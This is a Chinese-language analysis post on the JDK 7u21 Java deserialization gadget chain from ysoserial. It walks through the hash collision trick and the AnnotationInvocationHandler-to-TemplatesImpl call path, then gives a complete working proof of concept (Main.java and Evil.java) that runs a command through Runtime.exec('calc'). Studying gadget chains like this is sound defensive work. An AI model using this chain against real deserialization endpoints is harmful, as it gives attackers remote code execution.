某次漏洞利用的时候使用了7u21原生反序列化的链,为了更好的了解,对这条链进行分析记录
JDK版本: JDK7u21
分析代码:ysoserial
通过分析下面ysoserial构造payload过程,可以猜测,该反序列化由LinkedHashSet或其上级readobject为入口,通过AnnotationInvocationHandler代理类实现调用TemplatesImpl触发命令执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);
map.put(zeroHashCodeStr, templates); // swap in real object
return set;
}
|
对代码跟踪,发现对LinkedHashSet对象进行反序列化时,会调用父类HashSet的readObject方法
通过判断原数据类型对map进行初始化后,会对原LinkHashSet内存储的对象进行反序列化
成员对象反序列化完成后会通过put方法加载进前面初始完成的map中。put实现方法如下
若传入的key为代理对象,那么key.equals(k)会触发代理类的Invoke方法。但程序实现到这一步被三个因素影响:hash , i ,table ,且后两个因素被hash这个因素影响,所以需要解决hash问题
AnnotationInvocationHandler#hashCodeImpl
最终生成的hash前,需要调用目标类hashCode方法获取的数据与其进行异或处理
分析AnnotationInvocationHandler#hashCodeImpl实现逻辑,最终返回的hash与代理类初始化时的memberValues(Map<String,Object>)的key和value有关,这也是为什么ysoserial在这条链处理代理类时要赋值一个看起来像随机字符一样的数据
其实简单分析代理类生成Hash的代码,发现其实不用ysoserial那样子处理。当传入的key为空时,生成的stringhash固定为0,则前面的计算可以忽略,最后返回的只有目标类生成的Hash,且这个目标类即我们传入的TemplatesImpl,所以无论怎么变,hash都是在目标范围内的
AnnotationInvocationHandler#Invoke
解决完hash问题后,分析代理类如何通过invoke方法触发TemplatesImpl实现命令执行
匹配到equals特征后,会将TemplatesImpl作为参数执行equalsImpl方法(TemplatesImpl是payload中put进LinkHashSet的恶意对象)
下图的代码逻辑可以分析,在触发目标方法之前需要处理几个问题
- this.type
- this.getMemberMethods()
其中getMemberMethods通过this.type反射获取
处理方法也很简单,ysoserial处理方法是通过反射修改了type
1
|
Reflections.setFieldValue(tempHandler, "type", Templates.class);
|
使用Templates的原因也很简单,获取到的method都可以作为命令触发的方法
后面就是通过反射执行目标方法实现命令执行了,分析链到此结束
Main.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
|
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.LinkedHashSet;
public class Main {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException, InvocationTargetException, InstantiationException, IOException {
// 初始化恶意TemplatesImpl类
JavaClass javaClass = Repository.lookupClass(Evil.class);
TemplatesImpl templates = new TemplatesImpl();
Field field = templates.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templates,new byte[][]{javaClass.getBytes()});
Field field1 = templates.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templates,"test");
//初始化代理类
final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
HashMap hashMap = new HashMap();
hashMap.put("",templates);
InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Override.class,hashMap);
Field field2 = invocationHandler.getClass().getDeclaredField("type");
field2.setAccessible(true);
field2.set(invocationHandler,Templates.class);
final Class<?>[] allIfaces = {Templates.class};
Templates templates_proxy = (Templates) Proxy.newProxyInstance(Main.class.getClassLoader(),allIfaces,invocationHandler);
LinkedHashSet linkedHashSet = new LinkedHashSet();
linkedHashSet.add(templates);
linkedHashSet.add(templates_proxy);
ByteOutputStream outputStream = new ByteOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream);
objectOutputStream.writeObject(linkedHashSet);
ByteArrayInputStream arrayInputStream = new ByteArrayInputStream(outputStream.getBytes());
ObjectInputStream objectInputStream = new ObjectInputStream(arrayInputStream);
objectInputStream.readObject();
}
}
|
Evil.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
|
上面的代码只是用来更好的理解ysoserial中构造jdk7u21反序列化payload的过程,无法直接用于实战环境